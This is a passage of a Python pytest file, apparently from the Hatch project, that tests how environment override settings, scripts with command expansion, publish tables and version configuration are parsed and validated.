MAPPING_OPTIONS) def test_overrides_matrix_mapping_array_table_override(self, isolation, option): env_config = { 'foo': { option: {'TEST': 'baz'}, 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: [{'key': 'TEST'}]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: {'TEST': '9000'}}, 'foo.bar': {'type': 'virtual', option: {'TEST': 'baz'}}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', MAPPING_OPTIONS) def test_overrides_matrix_mapping_array_table_conditional(self, isolation, option): env_config = { 'foo': { option: {'TEST': 'baz'}, 'matrix': [{'version': ['9000', '42']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: [{'key': 'TEST', 'if': ['42']}]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: {'TEST': 'baz'}}, 'foo.42': {'type': 'virtual', option: {'TEST': '42'}}, 'foo.bar': {'type': 'virtual', option: {'TEST': 'baz'}}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', MAPPING_OPTIONS) def test_overrides_matrix_mapping_overwrite(self, isolation, option): env_config = { 'foo': { option: {'TEST': 'baz'}, 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {f'set-{option}': ['FOO=bar', {'key': 'BAZ'}]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: {'FOO': 'bar', 'BAZ': '9000'}}, 'foo.bar': {'type': 'virtual', option: {'TEST': 'baz'}}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', ARRAY_OPTIONS) def test_overrides_matrix_array_string(self, isolation, option): env_config = { 'foo': { 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: ['run foo']}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: ['run foo']}, 'foo.bar': {'type': 'virtual'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', ARRAY_OPTIONS) def test_overrides_matrix_array_string_existing_append(self, isolation, option): env_config = { 'foo': { option: ['run baz'], 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: ['run foo']}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: ['run baz', 'run foo']}, 'foo.bar': {'type': 'virtual', option: ['run baz']}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', ARRAY_OPTIONS) def test_overrides_matrix_array_table(self, isolation, option): env_config = { 'foo': { 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: [{'value': 'run foo'}]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: ['run foo']}, 'foo.bar': {'type': 'virtual'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', ARRAY_OPTIONS) def test_overrides_matrix_array_table_existing_append(self, isolation, option): env_config = { 'foo': { option: ['run baz'], 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: [{'value': 'run foo'}]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: ['run baz', 'run foo']}, 'foo.bar': {'type': 'virtual', option: ['run baz']}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', ARRAY_OPTIONS) def test_overrides_matrix_array_table_conditional(self, isolation, option): env_config = { 'foo': { option: ['run baz'], 'matrix': [{'version': ['9000', '42']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: [{'value': 'run foo', 'if': ['42']}]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: ['run baz']}, 'foo.42': {'type': 'virtual', option: ['run baz', 'run foo']}, 'foo.bar': {'type': 'virtual', option: ['run baz']}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', ARRAY_OPTIONS) def test_overrides_matrix_array_overwrite(self, isolation, option): env_config = { 'foo': { option: ['run baz'], 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {f'set-{option}': ['run foo', {'value': 'run bar'}]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: ['run foo', 'run bar']}, 'foo.bar': {'type': 'virtual', option: ['run baz']}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', STRING_OPTIONS) def test_overrides_matrix_string_string_create(self, isolation, option): env_config = { 'foo': { 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: 'baz'}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: 'baz'}, 'foo.bar': {'type': 'virtual'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', STRING_OPTIONS) def test_overrides_matrix_string_string_overwrite(self, isolation, option): env_config = { 'foo': { option: 'test', 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: 'baz'}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: 'baz'}, 'foo.bar': {'type': 'virtual', option: 'test'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', STRING_OPTIONS) def test_overrides_matrix_string_table_create(self, isolation, option): env_config = { 'foo': { 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: {'value': 'baz'}}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: 'baz'}, 'foo.bar': {'type': 'virtual'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', STRING_OPTIONS) def test_overrides_matrix_string_table_override(self, isolation, option): env_config = { 'foo': { option: 'test', 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: {'value': 'baz'}}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: 'baz'}, 'foo.bar': {'type': 'virtual', option: 'test'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', STRING_OPTIONS) def test_overrides_matrix_string_table_conditional(self, isolation, option): env_config = { 'foo': { option: 'test', 'matrix': [{'version': ['9000', '42']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: {'value': 'baz', 'if': ['42']}}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: 'test'}, 'foo.42': {'type': 'virtual', option: 'baz'}, 'foo.bar': {'type': 'virtual', option: 'test'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', STRING_OPTIONS) def test_overrides_matrix_string_array_table_create(self, isolation, option): env_config = { 'foo': { 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: [{'value': 'baz'}]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: 'baz'}, 'foo.bar': {'type': 'virtual'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', STRING_OPTIONS) def test_overrides_matrix_string_array_table_override(self, isolation, option): env_config = { 'foo': { option: 'test', 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: [{'value': 'baz'}]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: 'baz'}, 'foo.bar': {'type': 'virtual', option: 'test'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', STRING_OPTIONS) def test_overrides_matrix_string_array_table_conditional(self, isolation, option): env_config = { 'foo': { option: 'test', 'matrix': [{'version': ['9000', '42']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: [{'value': 'baz', 'if': ['42']}]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: 'test'}, 'foo.42': {'type': 'virtual', option: 'baz'}, 'foo.bar': {'type': 'virtual', option: 'test'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', STRING_OPTIONS) def test_overrides_matrix_string_array_table_conditional_eager_string(self, isolation, option): env_config = { 'foo': { option: 'test', 'matrix': [{'version': ['9000', '42']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: ['baz', {'value': 'foo', 'if': ['42']}]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: 'baz'}, 'foo.42': {'type': 'virtual', option: 'baz'}, 'foo.bar': {'type': 'virtual', option: 'test'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', STRING_OPTIONS) def test_overrides_matrix_string_array_table_conditional_eager_table(self, isolation, option): env_config = { 'foo': { option: 'test', 'matrix': [{'version': ['9000', '42']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: [{'value': 'baz', 'if': ['42']}, 'foo']}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: 'foo'}, 'foo.42': {'type': 'virtual', option: 'baz'}, 'foo.bar': {'type': 'virtual', option: 'test'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', BOOLEAN_OPTIONS) def test_overrides_matrix_boolean_boolean_create(self, isolation, option): env_config = { 'foo': { 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: True}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: True}, 'foo.bar': {'type': 'virtual'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', BOOLEAN_OPTIONS) def test_overrides_matrix_boolean_boolean_overwrite(self, isolation, option): env_config = { 'foo': { option: False, 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: True}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: True}, 'foo.bar': {'type': 'virtual', option: False}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', BOOLEAN_OPTIONS) def test_overrides_matrix_boolean_table_create(self, isolation, option): env_config = { 'foo': { 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: {'value': True}}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: True}, 'foo.bar': {'type': 'virtual'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', BOOLEAN_OPTIONS) def test_overrides_matrix_boolean_table_override(self, isolation, option): env_config = { 'foo': { option: False, 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: {'value': True}}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: True}, 'foo.bar': {'type': 'virtual', option: False}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', BOOLEAN_OPTIONS) def test_overrides_matrix_boolean_table_conditional(self, isolation, option): env_config = { 'foo': { option: False, 'matrix': [{'version': ['9000', '42']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: {'value': True, 'if': ['42']}}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: False}, 'foo.42': {'type': 'virtual', option: True}, 'foo.bar': {'type': 'virtual', option: False}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', BOOLEAN_OPTIONS) def test_overrides_matrix_boolean_array_table_create(self, isolation, option): env_config = { 'foo': { 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: [{'value': True}]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: True}, 'foo.bar': {'type': 'virtual'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', BOOLEAN_OPTIONS) def test_overrides_matrix_boolean_array_table_override(self, isolation, option): env_config = { 'foo': { option: False, 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: [{'value': True}]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: True}, 'foo.bar': {'type': 'virtual', option: False}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', BOOLEAN_OPTIONS) def test_overrides_matrix_boolean_array_table_conditional(self, isolation, option): env_config = { 'foo': { option: False, 'matrix': [{'version': ['9000', '42']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: [{'value': True, 'if': ['42']}]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: False}, 'foo.42': {'type': 'virtual', option: True}, 'foo.bar': {'type': 'virtual', option: False}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', BOOLEAN_OPTIONS) def test_overrides_matrix_boolean_array_table_conditional_eager_boolean(self, isolation, option): env_config = { 'foo': { option: False, 'matrix': [{'version': ['9000', '42']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: [True, {'value': False, 'if': ['42']}]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: True}, 'foo.42': {'type': 'virtual', option: True}, 'foo.bar': {'type': 'virtual', option: False}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) @pytest.mark.parametrize('option', BOOLEAN_OPTIONS) def test_overrides_matrix_boolean_array_table_conditional_eager_table(self, isolation, option): env_config = { 'foo': { option: False, 'matrix': [{'version': ['9000', '42']}, {'feature': ['bar']}], 'overrides': {'matrix': {'version': {option: [{'value': True, 'if': ['42']}, False]}}}, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', option: False}, 'foo.42': {'type': 'virtual', option: True}, 'foo.bar': {'type': 'virtual', option: False}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) # We assert type coverage using matrix variable overrides, for the others just test one type def test_overrides_platform_boolean_boolean_create(self, isolation, current_platform): env_config = { 'foo': { 'overrides': {'platform': {'bar': {'dependencies': ['baz']}, current_platform: {'skip-install': True}}} } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo': {'type': 'virtual', 'skip-install': True}, } assert project_config.envs == expected_envs def test_overrides_platform_boolean_boolean_overwrite(self, isolation, current_platform): env_config = { 'foo': { 'skip-install': True, 'overrides': { 'platform': {'bar': {'dependencies': ['baz']}, current_platform: {'skip-install': False}} }, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo': {'type': 'virtual', 'skip-install': False}, } assert project_config.envs == expected_envs def test_overrides_platform_boolean_table_create(self, isolation, current_platform): env_config = { 'foo': { 'overrides': { 'platform': { 'bar': {'dependencies': ['baz']}, current_platform: {'skip-install': [{'value': True}]}, } } } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo': {'type': 'virtual', 'skip-install': True}, } assert project_config.envs == expected_envs def test_overrides_platform_boolean_table_overwrite(self, isolation, current_platform): env_config = { 'foo': { 'skip-install': True, 'overrides': { 'platform': { 'bar': {'dependencies': ['baz']}, current_platform: {'skip-install': [{'value': False}]}, } }, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo': {'type': 'virtual', 'skip-install': False}, } assert project_config.envs == expected_envs def test_overrides_env_boolean_boolean_create(self, isolation): env_var_exists = 'OVERRIDES_ENV_FOO' env_var_missing = 'OVERRIDES_ENV_BAR' env_config = { 'foo': { 'overrides': { 'env': {env_var_missing: {'dependencies': ['baz']}, env_var_exists: {'skip-install': True}} } } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo': {'type': 'virtual', 'skip-install': True}, } with EnvVars({env_var_exists: 'any'}): assert project_config.envs == expected_envs def test_overrides_env_boolean_boolean_overwrite(self, isolation): env_var_exists = 'OVERRIDES_ENV_FOO' env_var_missing = 'OVERRIDES_ENV_BAR' env_config = { 'foo': { 'skip-install': True, 'overrides': { 'env': {env_var_missing: {'dependencies': ['baz']}, env_var_exists: {'skip-install': False}} }, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo': {'type': 'virtual', 'skip-install': False}, } with EnvVars({env_var_exists: 'any'}): assert project_config.envs == expected_envs def test_overrides_env_boolean_table_create(self, isolation): env_var_exists = 'OVERRIDES_ENV_FOO' env_var_missing = 'OVERRIDES_ENV_BAR' env_config = { 'foo': { 'overrides': { 'env': { env_var_missing: {'dependencies': ['baz']}, env_var_exists: {'skip-install': [{'value': True}]}, } } } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo': {'type': 'virtual', 'skip-install': True}, } with EnvVars({env_var_exists: 'any'}): assert project_config.envs == expected_envs def test_overrides_env_boolean_table_overwrite(self, isolation): env_var_exists = 'OVERRIDES_ENV_FOO' env_var_missing = 'OVERRIDES_ENV_BAR' env_config = { 'foo': { 'skip-install': True, 'overrides': { 'env': { env_var_missing: {'dependencies': ['baz']}, env_var_exists: {'skip-install': [{'value': False}]}, } }, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo': {'type': 'virtual', 'skip-install': False}, } with EnvVars({env_var_exists: 'any'}): assert project_config.envs == expected_envs def test_overrides_env_boolean_conditional(self, isolation): env_var_exists = 'OVERRIDES_ENV_FOO' env_var_missing = 'OVERRIDES_ENV_BAR' env_config = { 'foo': { 'overrides': { 'env': { env_var_missing: {'dependencies': ['baz']}, env_var_exists: {'skip-install': [{'value': True, 'if': ['foo']}]}, } } } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo': {'type': 'virtual', 'skip-install': True}, } with EnvVars({env_var_exists: 'foo'}): assert project_config.envs == expected_envs # Tests for source precedence def test_overrides_matrix_precedence_over_platform(self, isolation, current_platform): env_config = { 'foo': { 'skip-install': False, 'matrix': [{'version': ['9000', '42']}, {'feature': ['bar']}], 'overrides': { 'platform': {current_platform: {'skip-install': True}}, 'matrix': {'version': {'skip-install': [{'value': False, 'if': ['42']}]}}, }, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', 'skip-install': True}, 'foo.42': {'type': 'virtual', 'skip-install': False}, 'foo.bar': {'type': 'virtual', 'skip-install': True}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config, {'skip-install': True}) def test_overrides_matrix_precedence_over_env(self, isolation): env_var = 'OVERRIDES_ENV_FOO' env_config = { 'foo': { 'skip-install': False, 'matrix': [{'version': ['9000', '42']}, {'feature': ['bar']}], 'overrides': { 'env': {env_var: {'skip-install': True}}, 'matrix': {'version': {'skip-install': [{'value': False, 'if': ['42']}]}}, }, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', 'skip-install': True}, 'foo.42': {'type': 'virtual', 'skip-install': False}, 'foo.bar': {'type': 'virtual', 'skip-install': True}, } with EnvVars({env_var: 'any'}): assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config, {'skip-install': True}) def test_overrides_env_precedence_over_platform(self, isolation, current_platform): env_var = 'OVERRIDES_ENV_FOO' env_config = { 'foo': { 'overrides': { 'platform': {current_platform: {'skip-install': True}}, 'env': {env_var: {'skip-install': [{'value': False, 'if': ['foo']}]}}, }, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo': {'type': 'virtual', 'skip-install': False}, } with EnvVars({env_var: 'foo'}): assert project_config.envs == expected_envs # Test for options defined by environment plugins def test_overrides_for_environment_plugins(self, isolation, current_platform): env_var = 'OVERRIDES_ENV_FOO' env_config = { 'foo': { 'matrix': [{'version': ['9000']}, {'feature': ['bar']}], 'overrides': { 'platform': {current_platform: {'foo': True}}, 'env': {env_var: {'bar': [{'value': 'foobar', 'if': ['foo']}]}}, 'matrix': {'version': {'baz': 'BAR=ok'}}, }, } } project_config = ProjectConfig(isolation, {'envs': env_config}, PluginManager()) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual'}, 'foo.bar': {'type': 'virtual'}, } with EnvVars({env_var: 'foo'}): assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) project_config.finalize_env_overrides({'foo': bool, 'bar': str, 'baz': dict}) expected_envs = { 'default': {'type': 'virtual'}, 'foo.9000': {'type': 'virtual', 'foo': True, 'bar': 'foobar', 'baz': {'BAR': 'ok'}}, 'foo.bar': {'type': 'virtual', 'foo': True, 'bar': 'foobar'}, } assert project_config.envs == expected_envs assert project_config.matrices['foo'] == construct_matrix_data('foo', env_config) class TestPublish: def test_not_table(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.publish` must be a table'): _ = ProjectConfig(isolation, {'publish': 9000}).publish def test_config_not_table(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.publish.foo` must be a table'): _ = ProjectConfig(isolation, {'publish': {'foo': 9000}}).publish def test_default(self, isolation): project_config = ProjectConfig(isolation, {}) assert project_config.publish == project_config.publish == {} def test_defined(self, isolation): project_config = ProjectConfig(isolation, {'publish': {'foo': {'bar': 'baz'}}}) assert project_config.publish == {'foo': {'bar': 'baz'}} class TestScripts: def test_not_table(self, isolation): config = {'scripts': 9000} project_config = ProjectConfig(isolation, config) with pytest.raises(TypeError, match='Field `tool.hatch.scripts` must be a table'): _ = project_config.scripts def test_name_contains_spaces(self, isolation): config = {'scripts': {'foo bar': []}} project_config = ProjectConfig(isolation, config) with pytest.raises( ValueError, match='Script name `foo bar` in field `tool.hatch.scripts` must not contain spaces' ): _ = project_config.scripts def test_default(self, isolation): project_config = ProjectConfig(isolation, {}) assert project_config.scripts == project_config.scripts == {} def test_single_commands(self, isolation): config = {'scripts': {'foo': 'command1', 'bar': 'command2'}} project_config = ProjectConfig(isolation, config) assert project_config.scripts == {'foo': ['command1'], 'bar': ['command2']} def test_multiple_commands(self, isolation): config = {'scripts': {'foo': 'command1', 'bar': ['command3', 'command2']}} project_config = ProjectConfig(isolation, config) assert project_config.scripts == {'foo': ['command1'], 'bar': ['command3', 'command2']} def test_multiple_commands_not_string(self, isolation): config = {'scripts': {'foo': [9000]}} project_config = ProjectConfig(isolation, config) with pytest.raises(TypeError, match='Command #1 in field `tool.hatch.scripts.foo` must be a string'): _ = project_config.scripts def test_config_invalid_type(self, isolation): config = {'scripts': {'foo': 9000}} project_config = ProjectConfig(isolation, config) with pytest.raises(TypeError, match='Field `tool.hatch.scripts.foo` must be a string or an array of strings'): _ = project_config.scripts def test_command_expansion_basic(self, isolation): config = {'scripts': {'foo': 'command1', 'bar': ['command3', 'foo']}} project_config = ProjectConfig(isolation, config) assert project_config.scripts == {'foo': ['command1'], 'bar': ['command3', 'command1']} def test_command_expansion_multiple_nested(self, isolation): config = { 'scripts': { 'foo': 'command3', 'baz': ['command5', 'bar', 'foo', 'command1'], 'bar': ['command4', 'foo', 'command2'], } } project_config = ProjectConfig(isolation, config) assert project_config.scripts == { 'foo': ['command3'], 'baz': ['command5', 'command4', 'command3', 'command2', 'command3', 'command1'], 'bar': ['command4', 'command3', 'command2'], } def test_command_expansion_modification(self, isolation): config = { 'scripts': { 'foo': 'command3', 'baz': ['command5', 'bar world', 'foo', 'command1'], 'bar': ['command4', 'foo hello', 'command2'], } } project_config = ProjectConfig(isolation, config) assert project_config.scripts == { 'foo': ['command3'], 'baz': ['command5', 'command4 world', 'command3 hello world', 'command2 world', 'command3', 'command1'], 'bar': ['command4', 'command3 hello', 'command2'], } def test_command_expansion_circular_inheritance(self, isolation): config = {'scripts': {'foo': 'bar', 'bar': 'foo'}} project_config = ProjectConfig(isolation, config) with pytest.raises( ValueError, match='Circular expansion detected for field `tool.hatch.scripts`: foo -> bar -> foo' ): _ = project_config.scripts class TestVersionConfig: def test_missing(self, isolation): with pytest.raises(ValueError, match='Missing `tool.hatch.version` configuration'): _ = ProjectConfig(isolation, {}).version def test_not_table(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.version` must be a table'): _ = ProjectConfig(isolation, {'version': 9000}).version def test_parse(self, isolation): project_config = ProjectConfig(isolation, {'version': {'foo': 'bar'}}) assert project_config.version.config == project_config.version.config == {'foo': 'bar'} class TestVersionSourceName: def test_empty(self, isolation): with pytest.raises( ValueError, match='The `source` option under the `tool.hatch.version` table must not be empty if defined' ): _ = ProjectConfig(isolation, {'version': {'source': ''}}).version.source_name def test_not_table(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.version.source` must be a string'): _ = ProjectConfig(isolation, {'version': {'source': 9000}}).version.source_name def test_correct(self, isolation): project_config = ProjectConfig(isolation, {'version': {'source': 'foo'}}) assert project_config.version.source_name == project_config.version.source_name == 'foo' def test_default(self, isolation): project_config = ProjectConfig(isolation, {'version': {}}) assert project_config.version.source_name == project_config.version.source_name == 'regex' class TestVersionSchemeName: def test_missing(self, isolation): with pytest.raises( ValueError, match='The `scheme` option under the `tool.hatch.version` table must not be empty if defined' ): _ = ProjectConfig(isolation, {'version': {'scheme': ''}}).version.scheme_name def test_not_table(self, isolation): with pytest.raises(TypeError, match='Field `tool.hatch.version.scheme` must be a string'): _ = ProjectConfig(isolation, {'version': {'scheme': 9000}}).version.scheme_name def test_correct(self, isolation): project_config = ProjectConfig(isolation, {'version': {'scheme': 'foo'}}) assert project_config.version.scheme_name == project_config.version.scheme_name == 'foo' def test_default(self, isolation): project_config = ProjectConfig(isolation, {'version': {}}) assert project_config.version.scheme_name == project_config.version.scheme_name == 'standard' class TestVersionSource: def 